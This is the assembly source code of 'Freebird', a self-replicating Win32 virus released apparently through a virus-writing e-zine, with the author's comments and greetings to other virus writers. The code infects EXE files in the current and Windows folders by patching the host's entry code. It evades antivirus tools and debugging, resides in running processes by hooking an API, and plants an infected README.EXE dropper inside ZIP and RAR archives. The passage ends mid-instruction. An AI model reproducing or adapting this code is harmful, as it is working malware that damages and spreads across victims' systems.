; ; freebird ; Coded by Bumblebee ; ; This is the source code of a VIRUS. The author is in no way ; responsabile of any damage that may occur due its usage. ; ; Some comments: ; ; That's a win32 per-process resident and direct action EPO virus. ; ; It infects only files that have any import from kernel32.dll module ; because this import is used to retrieve k32 address (and needed API). ; It requires API to go back host (restore patched bytes into host code ; section). It won't modify the EP in the PE header, instead patches the ; host code inserting a jmp to the virus. Is not the ultimate EPO but ; works and it's very easy to code, better than nothing :) ; ; It updates the PE checksum of infected PE files using imagehlp.dll ; API. If this API is not available, it still infects (checksum is zero). ; ; It does self integrity check with CRC32. That's a simple but effective ; anti-debug trick and keeps virus pretty safe of hex hacking. ; ; Uses size padding as infection sign. ; ; It won't infect most of av soft looking for the usual stringz in the ; name of the disposable victim (AV, DR, SP, F-, AN, VE, CL, ON). ; ; Has a run-time part that will affect win32 PE files with EXE ext into ; current and windows folders. It skips system protected files (SFC). ; Infecting files into windows folder helps the virus to spread with the ; simple direct action schema. If that fails (due system protected files), ; then the per-process part is there. ; ; It uses kinda mutexes to avoid overload the system with the run-time ; part. Due it uses shared memory by name as mutex, the name is random ; from serial number of c:\ drive and results from CPUID instruction ;) ; ; That name is used to uncompress a dropper and infect it. This file ; will be added to ZIP/RAR archives found in current folder. It will ; skip archives where 1st item is README.EXE (to avoid re-infection). ; It inserts the droper at the begining of the archives instead of ; appending the infected file to the end. Archive infection is a bit ; unoptimized O:) but quite clear to understand it. ; ; Per-process residence is performed as explained in an article released ; in this e-zine. I hook to check for directory changes: PostQuitMessage ; from USER32.DLL. ; ; It will get the needed API using GetProcAddress. And uses SEH to ; avoid crash, it hangs the process when a fatal error occurs (eg. if ; it cannot get the APIs to patch host code, it won't be able to go ; back host). At least won't appear an screen of death ;) ; ; Well, it's a neat virus. That was funny to code, even most parts are ; quite standard. I think that's the 2nd time i don't use crc32 for ; imports (the first one was win95.bumble, my 1st win appender), and is ; just due i was bored of the same crc32 code ever, and 2 facts: ; av stop study of viruses and... who cares with virus size? ;) ; ; I've developed it under win2k and tested under win98. That means it runs ; under windows 2000 without any problem (i cannot say the same about my ; previous 'win32' stuff). You only will notice it if thou get infected under ; such system ;) ; ; Finally i must say i'm in love with NASM, mainly due i have only this ; asm installed (fuck, and it fits in a single floppy: NASM+ALINK+DOCS+LIBS). ; ; Yes, it's Freebird from Lynard Skynard song. Oh Lord, I can't change ;) ; Try to find this song and listen it reading this lame source and, at least ; and may be not at last, you'll listen good music. ; ; That's all. The source code is pretty clear, but we're living bad times ; for the vx. May be this bug is only interesting for a small group of vxers: ; those that are experienced but still can learn something from the bee. ; ; I'm not used to greet ppl, but since i'm lost in combat... here follow ; some: ; ; Perikles: I miss you, i'll try to met you more often (use fweeder ; damnit, don't be afraid of vb huehe) ; Ratter: Seems now i'm newbie at your side... keep on rocking man ; Xezaw: We need young blood here... Metele canya pedacho gay! ; VirusBuster: Too much marulo arround here, uhm XD ; Mental Driller: You're the master, don't fool saying is matter of time ; Super: Looking forward to see that .NET shit, and your ring0 tute? ; TCP: Congratulations (he got married?) ; Vecna: Hey favelado, te veo flojo. Para cuando el fin del mundo? ; 29Aers: You're all alone... ; ; And big cheers to other ppl i used to talk to and now i cannot due i'm ; in the shadows: Yello, Clau, f0re, Zert, Slow, soyuz, TheVoid, Sheroc, ; Tokugawa, Evul, Gigabyte, Wintermute, Malware (where are you?), Griyo, ; Roadkill, Black Jack, star0, Rajaat, ... i cannot remember you, sorry =] ; ; ; If you wanna contact with me, ask someone that can find me. ; ; - main.asm BOF - [extern ExitProcess] [segment .text] [global main] main: lea esi,[fakeHost] ; setup fake 1st gen lea edi,[epobuffTMP] mov ecx,5 rep movsb lea edx,[fake_import] mov [__imp__],edx mov eax,400000h mov [baseAddr],eax ; def base addr lea esi,[vBegin] mov edi,vSize-4 call CRC32 mov [myCRC32],eax jmp ventry fake_import dd 077e80000h ; developed under win2k ; ; Since win doesn't implement code protection (via segment, thus under intel ; arch the only way to do it coz pages don't have code/data attrib), that's ; a nice way to 1st gen without external PE patcher. ; [segment .data] ventry: vBegin equ $ push eax ; room for ret addr pushad pushfd call getDelta lea esi,[vBegin+ebp] mov edi,vSize-4 call CRC32 ; integrity check mov ecx,[myCRC32+ebp] sub ecx,eax jecxz mycrc32ok jmp $ mycrc32ok: lea edi,[startUp+ebp] ; setup return lea esi,[infectTMP+ebp] ; stuff saved in add ecx,infectTMPlen ; infection with anti-debug rep movsb ; (ecx must be zero at this ; point) mov edx,12345678h __imp__ equ $-4 mov esi,[reloc+ebp] lea eax,[vBegin+ebp] sub esi,eax ; this virus supports relocs add [baseAddr+ebp],esi ; fix base addr (reloc) add [hostEP+ebp],esi ; fix host entry point add edx,esi ; use import to find mov edx,[edx] ; k32 base address xor eax,eax call seh jmp $ ; if we're not able to ; locate k32 we cannot ; get APIs and jmp back ; host is not possible ; ; Some stringz for the avers ; db "[ FREEBIRD: I make birds of mud and I throw them to fly ]" seh: push dword [fs:eax] mov dword [fs:eax],esp and edx,0fffff000h ; simple k32 scan add edx,1000h findK32BaseAddrLoop: sub edx,1000h cmp word [edx],'MZ' jne findK32BaseAddrLoop movzx eax,word [edx+3ch] cmp edx,dword [eax+edx+34h] jne findK32BaseAddrLoop mov [kerneldll+ebp],edx xor eax,eax ; remove SEH frame pop dword [fs:eax] pop eax scanKerneldll: mov ebx,12345678h ; get GetProcAddress kerneldll equ $-4 mov edi,ebx mov esi,edi add esi,3ch lodsd add eax,edi xchg eax,esi mov esi,dword [esi+78h] add esi,ebx add esi,1ch lodsd add eax,edi mov [address+ebp],eax lodsd add eax,edi mov [names+ebp],eax lodsd add eax,edi mov [ordinals+ebp],eax xor edx,edx lea esi,[GetProcAddress+ebp] mov ecx,GetProcAddresslen searchl: push ecx push esi mov edi,[names+ebp] add edi,edx mov edi,[edi] add edi,ebx rep cmpsb je fFound add edx,4 pop esi pop ecx jmp searchl fFound: pop esi pop ecx shr edx,1 add edx,[ordinals+ebp] movzx ebx,word [edx] shl ebx,2 add ebx,[address+ebp] mov ecx,[ebx] add ecx,[kerneldll+ebp] getAPI: mov [_GetProcAddress+ebp],ecx lea esi,[API0+ebp] ; now get APIs getAPILoop: push esi xor eax,eax lodsb push eax add esi,4 push esi push dword [kerneldll+ebp] call dword [_GetProcAddress+ebp] pop ecx pop esi mov [esi+1],eax add esi,ecx jecxz getAPILoopDone jmp getAPILoop getAPILoopDone: xor eax,eax push eax push eax push eax push eax lea esi,[serialNum+ebp] push esi mov [esi],eax ; fix string push eax push eax lea esi,[drive+ebp] push esi call dword [_GetVolumeInformationA+ebp] ; get serial number of or eax,eax ; c: drive jnz randomOk mov dword [serialNum+ebp],12345678h ; that's not random! randomOk: xor eax,eax inc eax cpuid ; mutex depends on CPU or eax,edx xor dword [serialNum+ebp],eax ; fuck you avers! hueheh ; random? XD and dword [serialNum+ebp],0f0f0f0fh ; build rnd string or dword [serialNum+ebp],"aaaa" ; why that pseudo random? we don't want the avers create ; their artificial mutex to fool the virus, do we? ; check our mutex to avoid overload the system with ; several instances of the virus infecting arround ; all at the same time... xor eax,eax lea esi,[serialNum+ebp] push esi push dword 1024 push eax push dword 4 push eax dec eax push eax call dword [_CreateFileMappingA+ebp] or eax,eax jz near failedToLoadDll mov [mutexHnd+ebp],eax call dword [_GetLastError+ebp] ; already there? cmp eax,0b7h je near closeMutex lea esi,[imagehlpdll+ebp] ; load imagehlp dll push esi call dword [_LoadLibraryA+ebp] or eax,eax jz near closeMutex mov [_imagehlpdll+ebp],eax lea esi,[CheckSumMappedFile+ebp] ; get API for PE checksum push esi push eax call dword [_GetProcAddress+ebp] mov [_CheckSumMappedFile+ebp],eax lea esi,[sfcdll+ebp] ; load sfc dll push esi call dword [_LoadLibraryA+ebp] mov [_sfcdll+ebp],eax or eax,eax jz near noSfc lea esi,[SfcIsFileProtected+ebp] ; get API to avoid sfc push esi push eax call dword [_GetProcAddress+ebp] noSfc: mov [_SfcIsFileProtected+ebp],eax ; hey bumble, remember that must be before any infection! call setupPerProcess ; setup per-process ; hooks ; now the run-time part lea esi,[path0+ebp] push esi push dword 260 call dword [_GetCurrentDirectoryA+ebp] or eax,eax jz endRuntimePart push dword 260 lea esi,[path1+ebp] push esi call dword [_GetWindowsDirectoryA+ebp] or eax,eax jz endRuntimePart mov ecx,eax ; if we're yet into lea esi,[path0+ebp] ; windows folder, avoid lea edi,[path1+ebp] ; infect more files rep cmpsb je endRuntimePart call scandirpe ; infect current folder lea esi,[path1+ebp] push esi call dword [_SetCurrentDirectoryA+ebp] or eax,eax jz endRuntimePart call scandirpe ; affect windows folder lea esi,[path0+ebp] ; go back home push esi call dword [_SetCurrentDirectoryA+ebp] call findArchives ; self explanatory XD endRuntimePart: mov eax,[_sfcdll+ebp] ; free it only if loaded or eax,eax ; (of coz hehe) jz sfcNotLoaded push dword [_sfcdll+ebp] call dword [_FreeLibrary+ebp] sfcNotLoaded: push dword [_imagehlpdll+ebp] ; good guys release the dlls call dword [_FreeLibrary+ebp] closeMutex: push dword [mutexHnd+ebp] ; close the 'mutex' call dword [_CloseHandle+ebp] failedToLoadDll: mov esi,[hostEP+ebp] mov [esp+24h],esi ; put ret addr call dword [_GetCurrentProcess+ebp] ; patch our process lea edx,[padding+ebp] push edx push dword 5 sub edx,-4 push edx push dword [hostEP+ebp] push eax call dword [_WriteProcessMemory+ebp] or eax,eax jz $ ; well... hehehe ; in fact it failed :P ; code modified by epo is restored ; just fly away popfd popad ret ; get variables displacement getDelta: call _getDelta _getDelta: pop ebp sub ebp,_getDelta ret ; does crc32 for self integrity check CRC32: cld xor ecx,ecx dec ecx mov edx,ecx push ebx NextByteCRC: xor eax,eax xor ebx,ebx lodsb xor al,cl mov cl,ch mov ch,dl mov dl,dh mov dh,8 NextBitCRC: shr bx,1 rcr ax,1 jnc NoCRC xor ax,08320h xor bx,0EDB8h NoCRC: dec dh jnz NextBitCRC xor ecx,eax xor edx,ebx dec edi jnz NextByteCRC pop ebx not edx not ecx mov eax,edx rol eax,16 mov ax,cx ret %include "infectpe.inc" %include "findf.inc" %include "hooks.inc" %include "archive.inc" ; our import table API0 db API1-API0 _GetFileAttributesA dd 0 GetFileAttributesAstr db "GetFileAttributesA",0 API1 db API2-API1 _SetFileAttributesA dd 0 SetFileAttributesAstr db "SetFileAttributesA",0 API2 db API3-API2 _CreateFileA dd 0 CreateFileAstr db "CreateFileA",0 API3 db API4-API3 _GetFileSize dd 0 GetFileSizestr db "GetFileSize",0 API4 db API5-API4 _GetFileTime dd 0 GetFileTimestr db "GetFileTime",0 API5 db API6-API5 _CreateFileMappingA dd 0 CreateFileMappingAstr db "CreateFileMappingA",0 API6 db API7-API6 _MapViewOfFile dd 0 MapViewOfFilestr db "MapViewOfFile",0 API7 db API8-API7 _UnmapViewOfFile dd 0 UnmapViewOfFilestr db "UnmapViewOfFile",0 API8 db API9-API8 _CloseHandle dd 0 CloseHandlestr db "CloseHandle",0 API9 db APIa-API9 _SetFileTime dd 0 SetFileTimestr db "SetFileTime",0 APIa db APIb-APIa _GetCurrentProcess dd 0 GetCurrentProcessstr db "GetCurrentProcess",0 APIb db APIc-APIb _WriteProcessMemory dd 0 WriteProcessMemorystr db "WriteProcessMemory",0 APIc db APId-APIc _LoadLibraryA dd 0 LoadLibraryAstr db "LoadLibraryA",0 APId db APIe-APId _FreeLibrary dd 0 FreeLibrarystr db "FreeLibrary",0 APIe db APIf-APIe _FindFirstFileA dd 0 FindFirstFileAstr db "FindFirstFileA",0 APIf db API10-APIf _FindNextFileA dd 0 FindNextFileAstr db "FindNextFileA",0 API10 db API11-API10 _FindClose dd 0 FindClosestr db "FindClose",0 API11 db API12-API11 _SetCurrentDirectoryA dd 0 SetCurrentDirectoryAstr db "SetCurrentDirectoryA",0 API12 db API13-API12 _GetCurrentDirectoryA dd 0 GetCurrentDirectoryAstr db "GetCurrentDirectoryA",0 API13 db API14-API13 _GetWindowsDirectoryA dd 0 GetWindowsDirectoryAstr db "GetWindowsDirectoryA",0 API14 db API15-API14 _GetLastError dd 0 GetLastErrorstr db "GetLastError",0 API15 db API16-API15 _GetVolumeInformationA dd 0 GetVolumeInformationAs db "GetVolumeInformationA",0 API16 db API17-API16 _MultiByteToWideChar dd 0 MultiByteToWideChars db "MultiByteToWideChar",0 API17 db API18-API17 _GetFullPathNameW dd 0 GetFullPathNameWs db "GetFullPathNameW",0 API18 db 0 _WriteFile dd 0 WriteFiles db "WriteFile",0 GetProcAddress db "GetProcAddress",0 GetProcAddresslen equ $-GetProcAddress _GetProcAddress dd 0 _sfcdll dd 0 sfcdll db "SFC",0 _SfcIsFileProtected dd 0 SfcIsFileProtected db "SfcIsFileProtected",0 _imagehlpdll dd 0 imagehlpdll db "IMAGEHLP",0 _CheckSumMappedFile dd 0 CheckSumMappedFile db "CheckSumMappedFile",0 fmask: db "*.EXE",0 dropName: drive db 'c:\' ; for getvolume serialNum db 0,0,0,0,0 baseAddr dd 0 ; Generated RLE compressed data drop db 005h,04dh,05ah,06ch,000h,001h,083h,000h,004h,004h db 000h,011h,000h,082h,0ffh,001h,003h,082h,000h,001h db 001h,086h,000h,001h,040h,0a3h,000h,001h,070h,083h db 000h,02ch,00eh,01fh,0bah,00eh,000h,0b4h,009h,0cdh db 021h,0b8h,000h,04ch,0cdh,021h,054h,068h,069h,073h db 020h,070h,072h,06fh,067h,072h,061h,06dh,020h,072h db 065h,071h,075h,069h,072h,065h,073h,020h,057h,069h db 06eh,033h,032h,00dh,00ah,024h,084h,000h,002h,050h db 045h,082h,000h,008h,04ch,001h,004h,000h,07ah,0e2h db 064h,03dh,088h,000h,006h,0e0h,000h,002h,001h,00bh db 001h,08fh,000h,001h,010h,08ch,000h,001h,040h,082h db 000h,001h,010h,083h,000h,001h,002h,082h,000h,001h db 001h,087h,000h,001h,004h,088h,000h,001h,050h,083h db 000h,001h,004h,086h,000h,001h,002h,085h,000h,001h db 010h,082h,000h,001h,010h,084h,000h,001h,010h,082h db 000h,001h,010h,086h,000h,001h,010h,08ch,000h,001h db 030h,082h,000h,001h,056h,09ch,000h,001h,040h,082h db 000h,001h,00ah,0d3h,000h,005h,02eh,074h,065h,078h db 074h,084h,000h,001h,010h,083h,000h,001h,010h,082h db 000h,001h,006h,084h,000h,001h,004h,08eh,000h,001h db 020h,082h,000h,008h,060h,049h,04dh,050h,04fh,052h db 054h,053h,082h,000h,001h,010h,083h,000h,001h,020h db 082h,000h,001h,006h,084h,000h,001h,006h,08eh,000h db 001h,060h,082h,000h,008h,060h,069h,06dh,070h,06fh db 072h,074h,073h,082h,000h,001h,010h,083h,000h,001h db 030h,082h,000h,001h,056h,084h,000h,001h,008h,08eh db 000h,001h,040h,082h,000h,007h,050h,072h,065h,06ch db 06fh,063h,073h,083h,000h,001h,010h,083h,000h,001h db 040h,082h,000h,001h,00ah,084h,000h,001h,00ah,08eh db 000h,001h,040h,082h,000h,001h,052h,0ffh,000h,0ffh db 000h,0ffh,000h,0fbh,000h,004h,050h,0e8h,0fah,00fh db 0ffh,000h,0ffh,000h,0ffh,000h,0ffh,000h,005h,0ffh db 025h,040h,030h,040h,0ffh,000h,0ffh,000h,0ffh,000h db 0feh,000h,002h,038h,030h,08ah,000h,002h,028h,030h db 082h,000h,002h,040h,030h,096h,000h,00ah,06bh,065h db 072h,06eh,065h,06ch,033h,032h,02eh,064h,082h,06ch db 084h,000h,002h,048h,030h,086h,000h,002h,048h,030h db 088h,000h,009h,045h,078h,069h,074h,050h,072h,06fh db 063h,065h,082h,073h,0ffh,000h,0ffh,000h,0ffh,000h db 0afh,000h,001h,020h,082h,000h,001h,00ah,083h,000h db 002h,002h,030h ; That headers thanks to Int13h (or star0?) RARHeader: ; Header that we will add RARHeaderCRC dw 0 ; We'll fill: CRC of header RARType db 074h ; File Header RARFlags dw 8000h RARHeadsize dw FinRARHeader-RARHeader RARCompressed dd 0 ; Compressed and Original RAROriginal dd 0 ; size are the same, we stored RAROs db 0 ; OS: 0 ms-dos? RARCrc32 dd 0 ; We must fill this field RARFileTime db 0,0 ; Time of the program RARFileDate db 0,0 ; Date of the proggy RARNeedVer db 014h RARMethod db 030h ; Method: storing RARFnameSize dw FinRARHeader-RARName RARAttrib dd 20h ; archive RARName db "README.EXE" ; Name of file to drop FinRARHeader: ; That header thanks to star0 LocalHeader: ZIPlogsig: db 50h,4bh,03,04 ; signature ZIPver: dw 0ah ; ver need to extract ZIPgenflag: dw 0 ; no particulary flag ZIPMthd: dw 0 ; no compression ZIPTime: dw 0 ; aleatory ZIPDate: dw 0 ; aleatory ZIPCrc: dd 0 ; unknown ZIPSize: dd 0 ; unknown ZIPUncmp: dd 0 ; unknown ZIPFnln: dw 10 ; unknown ZIPXtraLn: dw 0 ; unknown ZIPfileName: db "README.EXE" CentralHeader: ZIPCenSig: db 50h,4bh,01,02 ; central signature ZIPCver: db 0 ; ver made by ZIPCos: db 0 ; Host Operating -> All ZIPCvxt: db 0 ; Ver need to extract ZIPCeXos: db 0 ; Ver need to extract. ZIPCflg: dw 0 ; No encryption ! ZIPCmthd: dw 0 ; Method : Store it ! ZIPCtim: dw 0 ; last mod time ZIPCDat: dw 0 ; last mod date ZIPCCrc: dd 0 ; Crc-32 unknown ZIPCsiz: dd 0 ; Compressed size unknown ZIPCunc: dd 0 ; Uncompressed size unkown ZIPCfnl: dw 10 ; filename length unknown ZIPCxtl: dw 0 ; Extra Field length 0 ZIPCcml: dw 0 ; file comment length 0 ZIPDsk: dw 0 ; Disk number start (?) 0 ZIPInt: dw 1 ; Internal file attribute ZIPExt: dd 20h ; external file attrib ZIPOfst: dd 0 ; relativeoffset local head ZIPCfileName: db "README.EXE" EndOfCentral: ; used at infection stage infectTMP: epobuffTMP dd 0 db 0 hostEPTMP dd fakeHost relocTMP dd vBegin infectTMPlen equ $-infectTMP myCRC32 dd 0 vEnd equ $ vSize equ (vEnd-vBegin) ; bss data not included into infected files (that's virtual memory) path0 times 260 db 0 path1 times 260 db 0 dropExp times 2570 db 0 ; place to uncompress the ; dropper address dd 0 names dd 0 ordinals dd 0 mutexHnd dd 0 finddata: dwFileAttributes dd 0 dwLowDateTime0 dd 0 dwHigDateTime0 dd 0 dwLowDateTime1 dd 0 dwHigDateTime1 dd 0 dwLowDateTime2 dd 0 dwHigDateTime2 dd 0 nFileSizeHigh dd 0 nFileSizeLow dd 0 dwReserved dd 0,0 cFileName times 260 db 0 cAlternateFilename times 16 db 0 ; for sfc shit wideBuffer times 260*2 db 0 ; 260 wide chars wideBuffer2 times 260*2 db 0 dummy dd 0 findHnd dd 0 chksum dd 0,0 fHnd dd 0 mapMem dd 0 fhmap dd 0 fileTime0 dd 0,0 fileTime1 dd 0,0 fileTime2 dd 0,0 fileAttrib dd 0 fileSize dd 0 padding dd 0 ; those must be joint startUp: epobuff dd 0 db 0 hostEP dd 0 reloc dd 0 viEnd equ $ viSize equ (viEnd-vBegin) fakeHost: push dword 0 call ExitProcess ; - main.asm EOF - ; - archive.inc BOF - fgenmask db "*.*",0 ; ; Look for archives to add our virus ; findArchives: call dropTheVirus ; drop the virus lea eax,[finddata+ebp] push eax lea eax,[fgenmask+ebp] push eax call dword [_FindFirstFileA+ebp] inc eax jz near notFoundArchive dec eax mov dword [findHnd+ebp],eax findNextArchive: mov eax,dword [nFileSizeLow+ebp] ; avoid small cmp eax,2000h ; 8 kbs jb near skipThisArchive cmp eax,400000h*2 ; avoid huge (top 4 mbs) ja near skipThisArchive lea esi,[cFileName+ebp] push esi UCaseLoopArc: cmp byte [esi],'a' jb notUCaseArc cmp byte [esi],'z' ja notUCaseArc sub byte [esi],'a'-'A' notUCaseArc: lodsb or al,al jnz UCaseLoopArc mov eax,[esi-5] pop esi not eax cmp eax,~".RAR" jne nextArc0 call infectRAR jmp skipThisArchive nextArc0: cmp eax,~".ZIP" jne nextArc1 call infectZIP jmp skipThisArchive nextArc1: skipThisArchive: lea eax,[finddata+ebp] push eax push dword [findHnd+ebp] call dword [_FindNextFileA+ebp] or eax,eax jnz near findNextArchive push dword [findHnd+ebp] call dword [_FindClose+ebp] notFoundArchive: ret ; uncompress the dropper and infect it dropTheVirus: xor ecx,ecx ; expand the RLEed mov edx,2570 ; dropper lea esi,[drop+ebp] lea edi,[dropExp+ebp] expandLoop: test byte [esi],128 jnz expRep mov cl,byte [esi] and cl,127 sub edx,ecx inc esi rep movsb or edx,edx jnz expandLoop jmp endExpand expRep: mov cl,byte [esi] inc esi lodsb and cl,127 sub edx,ecx rep stosb or edx,edx jnz expandLoop endExpand: xor eax,eax push eax push dword 00000007h ; system, read only and hidden push dword 00000001h push eax push eax push dword 40000000h lea esi,[dropName+ebp] ; that must be initialized push esi ; before use it! call dword [_CreateFileA+ebp] inc eax jz skipDrop dec eax push eax push dword 0 lea esi,[dummy+ebp] push esi push dword 2570 lea esi,[dropExp+ebp] push esi push eax call dword [_WriteFile+ebp] call dword [_CloseHandle+ebp] lea esi,[dropName+ebp] call infectpe skipDrop: ret ; adds the dropper to a RAR archive pointed by esi infectRAR: push esi push esi call dword [_GetFileAttributesA+ebp] pop esi inc eax jz near infectionErrorRAR dec eax mov dword [fileAttrib+ebp],eax push esi push dword 80h push esi call dword [_SetFileAttributesA+ebp] pop esi or eax,eax jz near infectionErrorRAR push esi xor eax,eax push eax push dword 80h push dword 3 push eax push eax push dword (80000000h | 40000000h) push esi call dword [_CreateFileA+ebp] inc eax jz near infectionErrorAttribRAR dec eax mov [fHnd+ebp],eax push dword 0 push eax call dword [_GetFileSize+ebp] inc eax jz near infectionErrorCloseRAR dec eax mov [fileSize+ebp],eax lea eax,[fileTime2+ebp] push eax add eax,-8 push eax add eax,-8 push eax push dword [fHnd+ebp] call dword [_GetFileTime+ebp] or eax,eax jz near infectionErrorCloseRAR xor eax,eax push eax push eax push eax push dword 4 push eax push dword [fHnd+ebp] call dword [_CreateFileMappingA+ebp] or eax,eax jz near infectionErrorCloseRAR mov dword [fhmap+ebp],eax xor eax,eax push eax push eax push eax push dword 6 push dword [fhmap+ebp] call dword [_MapViewOfFile+ebp] or eax,eax jz near infectionErrorCloseMapRAR mov [mapMem+ebp],eax ; don't rely too much on next part XD ; using RAR32 for tests mov edx,[eax] not edx cmp edx,~"Rar!" ; a RAR archive? jne near infectionErrorCloseMapRAR add eax,14h ; skip main header cmp byte [eax+2],74h ; a RAR header? jne near infectionErrorCloseMapRAR mov edx,[eax+RARName-RARHeader] ; check if already not edx ; infected cmp edx,~"READ" jne RARNotFound mov edx,[eax+RARName-RARHeader+4] not edx cmp edx,~"ME.E" je near infectionErrorCloseMapRAR RARNotFound: ; The RAR file seems ok and it's not infected mov dx,[eax+RARFileTime-RARHeader] ; less suspicious mov [RARFileTime+ebp],dx mov dx,[eax+RARFileDate-RARHeader] mov [RARFileDate+ebp],dx mov dl,[eax+RAROs-RARHeader] ; same os mov [RAROs+ebp],dl ; now load our droper xor eax,eax push eax push dword 00000007h push dword 00000003h push eax push eax push dword 80000000h lea esi,[dropName+ebp] ; our dropper push esi call dword [_CreateFileA+ebp] inc eax jz near infectionErrorCloseMapRAR dec eax push eax push dword 0 push eax call dword [_GetFileSize+ebp] pop ebx inc eax jz near infectionErrorCloseMapRAR dec eax add [fileSize+ebp],eax ; new size add dword [fileSize+ebp],FinRARHeader-RARHeader mov [RARCompressed+ebp],eax ; update RAR header mov [RAROriginal+ebp],eax push ebx xor eax,eax push eax push eax push eax push dword 2 push eax push ebx call dword [_CreateFileMappingA+ebp] pop ebx or eax,eax jz near infectionErrorCloseMapRAR push ebx push eax mov ebx,eax xor eax,eax push eax push eax push eax push dword 4 push ebx call dword [_MapViewOfFile+ebp] pop edx pop ebx or eax,eax jz near infectionErrorCloseMapRAR push ebx ; file hnd push edx ; file mapping push eax ; map view of file mov esi,eax mov edi,[RAROriginal+ebp] call CRC32 mov [RARCrc32+ebp],eax lea esi,[RARHeader+2+ebp] mov edi,FinRARHeader-RARHeader-2 call CRC32 mov [RARHeaderCRC+ebp],ax push dword [mapMem+ebp] call dword [_UnmapViewOfFile+ebp] push dword [fhmap+ebp] call dword [_CloseHandle+ebp] pop dword [wideBuffer+ebp] ; view of file pop dword [wideBuffer+4+ebp]; file mapping pop dword [wideBuffer+8+ebp]; file handle xor eax,eax push eax push dword [fileSize+ebp] push eax push dword 4 push eax push dword [fHnd+ebp] call dword [_CreateFileMappingA+ebp] or eax,eax jz near infectionErrorCloseRAR mov [fhmap+ebp],eax xor eax,eax push dword [fileSize+ebp] push eax push eax push dword 6 push dword [fhmap+ebp] call dword [_MapViewOfFile+ebp] or eax,eax jz near infectionErrorCloseMapRAR mov [mapMem+ebp],eax mov edi,eax add edi,[fileSize+ebp] ; end of file mov esi,eax add esi,14h ; begin of data add esi,FinRARHeader-RARHeader ; plus added size add esi,[RAROriginal+ebp] mov ecx,edi ; size of data to move sub ecx,esi mov esi,edi sub esi,FinRARHeader-RARHeader sub esi,[RAROriginal+ebp] dec esi dec edi moveLoopRAR: ; move the data lodsb sub esi,2 stosb sub edi,2 dec ecx jnz moveLoopRAR mov edi,[mapMem+ebp] ; insert our data add edi,14h lea esi,[RARHeader+ebp] mov ecx,FinRARHeader-RARHeader rep movsb mov esi,[wideBuffer+ebp] mov ecx,[RAROriginal+ebp] rep movsb push dword [wideBuffer+ebp] call dword [_UnmapViewOfFile+ebp] push dword [wideBuffer+4+ebp] call dword [_CloseHandle+ebp] push dword [wideBuffer+8+ebp] call dword [_CloseHandle+ebp] ; dropper released infectionErrorCloseUnmapRAR: push dword [mapMem+ebp] call dword [_UnmapViewOfFile+ebp] infectionErrorCloseMapRAR: push dword [fhmap+ebp] call dword [_CloseHandle+ebp] lea eax,[fileTime2+ebp] push eax add eax,-8 push eax add eax,-8 push eax push dword [fHnd+ebp] call dword [_SetFileTime+ebp] infectionErrorCloseRAR: push dword [fHnd+ebp] call dword [_CloseHandle+ebp] infectionErrorAttribRAR: pop esi push dword [fileAttrib+ebp] push esi call dword [_SetFileAttributesA+ebp] infectionErrorRAR: ret ; adds the dropper to a ZIP archive pointed by esi infectZIP: push esi push esi call dword [_GetFileAttributesA+ebp] pop esi inc eax jz near infectionErrorZIP dec eax mov dword [fileAttrib+ebp],eax push esi push dword 80h push esi call dword [_SetFileAttributesA+ebp] pop esi or eax,eax jz near infectionErrorZIP push esi xor eax,eax push eax push dword 80h push dword 3 push eax push eax push dword (80000000h | 40000000h) push esi call dword [_CreateFileA+ebp] inc eax jz near infectionErrorAttribZIP dec eax mov [fHnd+ebp],eax push dword 0 push eax call dword [_GetFileSize+ebp] inc eax jz near infectionErrorCloseZIP dec eax mov [fileSize+ebp],eax mov [dummy+ebp],eax ; required later lea eax,[fileTime2+ebp] push eax add eax,-8 push eax add eax,-8 push eax push dword [fHnd+ebp] call dword [_GetFileTime+ebp] or eax,eax jz near infectionErrorCloseZIP xor eax,eax push eax push eax push eax push dword 4 push eax push dword [fHnd+ebp] call dword [_CreateFileMappingA+ebp] or eax,eax jz near infectionErrorCloseZIP mov dword [fhmap+ebp],eax xor eax,eax push eax push eax push eax push dword 6 push dword [fhmap+ebp] call dword [_MapViewOfFile+ebp] or eax,eax jz near infectionErrorCloseMapZIP mov [mapMem+ebp],eax ; don't rely too much on next part XD ; using ZIP32 for tests add eax,[fileSize+ebp] sub eax,16h mov edx,[eax] cmp edx,06054b50h ; a ZIP archive? jne near infectionErrorCloseMapZIP mov edx,[eax+10h] ; already infected? add edx,[mapMem+ebp] cmp dword [edx+2eh],"READ" jne notFoundZIP cmp dword [edx+2eh+4],"ME.E" je near infectionErrorCloseMapZIP notFoundZIP: mov cl,[edx+4] ; get some things from mov [ZIPCver+ebp],cl ; this entry to be less mov cl,[edx+5] ; suspicious mov [ZIPCos+ebp],cl mov cx,[edx+0ch] mov [ZIPCtim+ebp],cx mov cx,[edx+0eh] mov [ZIPCDat+ebp],cx mov cl,[edx+06h] mov [ZIPCvxt+ebp],cl mov cl,[edx+07h] mov [ZIPCeXos+ebp],cl ; now load our droper xor eax,eax push eax push dword 00000007h push dword 00000003h push eax push eax push dword 80000000h lea esi,[dropName+ebp] ; our dropper push esi call dword [_CreateFileA+ebp] inc eax jz near infectionErrorCloseMapZIP dec eax push eax push dword 0 push eax call dword [_GetFileSize+ebp] pop ebx inc eax jz near infectionErrorCloseMapZIP dec eax add [fileSize+ebp],eax ; new size add dword [fileSize+ebp],EndOfCentral-LocalHeader mov [ZIPSize+ebp],eax ; update ZIP header mov [ZIPUncmp+ebp],eax mov [ZIPCsiz+ebp],eax mov [ZIPCunc+ebp],eax push ebx xor eax,eax push eax push eax push eax push dword 2 push eax push ebx call dword [_CreateFileMappingA+ebp] pop ebx or eax,eax jz near infectionErrorCloseMapZIP push ebx push eax mov ebx,eax xor eax,eax push eax push eax push eax push dword 4 push ebx call dword [_MapViewOfFile+ebp] pop edx pop ebx or eax,eax jz near infectionErrorCloseMapZIP mov [wideBuffer+ebp],eax ; view of file mov [wideBuffer+4+ebp],edx ; file mapping mov [wideBuffer+8+ebp],ebx ; file handle mov esi,eax ; get virus CRC32 mov edi,[ZIPSize+ebp] call CRC32 mov [ZIPCCrc+ebp],eax mov [ZIPCrc+ebp],eax xor eax,eax push eax push dword [fileSize+ebp] push eax push dword 4 push eax push dword [fHnd+ebp] call dword [_CreateFileMappingA+ebp] or eax,eax jz near infectionErrorCloseZIP mov [fhmap+ebp],eax xor eax,eax push dword [fileSize+ebp] push eax push eax push dword 6 push dword [fhmap+ebp] call dword [_MapViewOfFile+ebp] or eax,eax jz near infectionErrorCloseMapZIP mov [mapMem+ebp],eax add eax,[dummy+ebp] ; size of the old zip sub eax,16h ; end header mov ecx,[eax+0ch] ; size of central dir add ecx,16h ; last header mov esi,[mapMem+ebp] add 